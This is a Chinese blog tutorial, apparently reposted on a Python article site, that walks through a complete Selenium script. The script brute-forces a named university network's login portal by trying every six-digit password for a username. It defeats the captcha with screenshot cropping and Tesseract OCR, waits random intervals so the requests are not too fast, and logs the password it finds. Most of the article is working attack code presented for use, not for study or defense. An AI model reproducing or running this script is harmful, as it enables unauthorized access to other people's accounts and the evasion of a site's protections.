python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python random模块用法解析及简单示例
Dec 18 Python
Python简单过滤字母和数字的方法小结
Jan 09 Python
Python基础之循环语句用法示例【for、while循环】
Mar 23 Python
pyqt 实现QlineEdit 输入密码显示成圆点的方法
Jun 24 Python
Django MEDIA的配置及用法详解
Jul 25 Python
Python小程序 控制鼠标循环点击代码实例
Oct 08 Python
基于Pytorch SSD模型分析
Feb 18 Python
在python中求分布函数相关的包实例
Apr 15 Python
基于Python词云分析政府工作报告关键词
Jun 02 Python
Django微信小程序后台开发教程的实现
Jun 03 Python
Pyqt助手安装PyQt5帮助文档过程图解
Nov 20 Python
详解Python+OpenCV进行基础的图像操作
Feb 15 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
将word转化为swf 如同百度文库般阅读实现思路及代码
2013/08/09 PHP
跟我学Laravel之视图 & Response
2014/10/15 PHP
Laravel统计一段时间间隔的数据方法
2019/10/09 PHP
运用jquery实现table单双行不同显示并能单行选中
2009/07/25 Javascript
javascript算法题 求任意一个1-9位不重复的N位数在该组合中的大小排列序号
2012/07/21 Javascript
JS自定义功能函数实现动态添加网址参数修改网址参数值
2013/08/02 Javascript
jquery+ajax实现跨域请求的方法
2015/01/20 Javascript
jquery中EasyUI实现同步树
2015/03/01 Javascript
整理Javascript流程控制语句学习笔记
2015/11/29 Javascript
jQuery实现公告新闻自动滚屏效果实例代码
2016/07/14 Javascript
JavaScript中误用/g导致的正则test()无法正确重复执行的解决方案
2016/07/27 Javascript
基于Angularjs+mybatis实现二级评论系统(仿简书)
2017/02/13 Javascript
bootstrap PrintThis打印插件使用详解
2017/02/20 Javascript
微信小程序 支付功能实现PHP实例详解
2017/05/12 Javascript
Nodejs进阶之服务端字符编解码和乱码处理
2017/09/04 NodeJs
Angular4的输入属性与输出属性实例详解
2017/11/29 Javascript
详解在vue-cli项目下简单使用mockjs模拟数据
2018/10/19 Javascript
vue.js多页面开发环境搭建过程
2019/04/24 Javascript
微信小程序云开发使用方法新手初体验
2019/05/16 Javascript
Python UnicodeEncodeError: 'gbk' codec can't encode character 解决方法
2015/04/24 Python
python学习之第三方包安装方法(两种方法)
2015/07/30 Python
python2.7 json 转换日期的处理的示例
2018/03/07 Python
python使用正则表达式来获取文件名的前缀方法
2018/10/21 Python
Python中的 enum 模块源码详析
2019/01/09 Python
在Python中字典根据多项规则排序的方法
2019/01/21 Python
python单例模式的多种实现方法
2019/07/26 Python
python向企业微信发送文字和图片消息的示例
2020/09/28 Python
CSS3 3D酷炫立方体变换动画的实现
2019/03/26 HTML / CSS
Sunglasses Shop丹麦:欧洲第一的太阳镜在线销售网站
2017/10/22 全球购物
珍珠奶茶店创业计划书
2014/01/11 职场文书
2014自荐信的写作技巧
2014/01/28 职场文书
理工学院学生自我鉴定
2014/02/23 职场文书
公司聘任书模板
2014/03/29 职场文书
2015年教学工作总结
2015/04/02 职场文书
2016七夕情人节感言
2015/12/09 职场文书
《亲亲我的妈妈》观后感(3篇)
2019/09/26 职场文书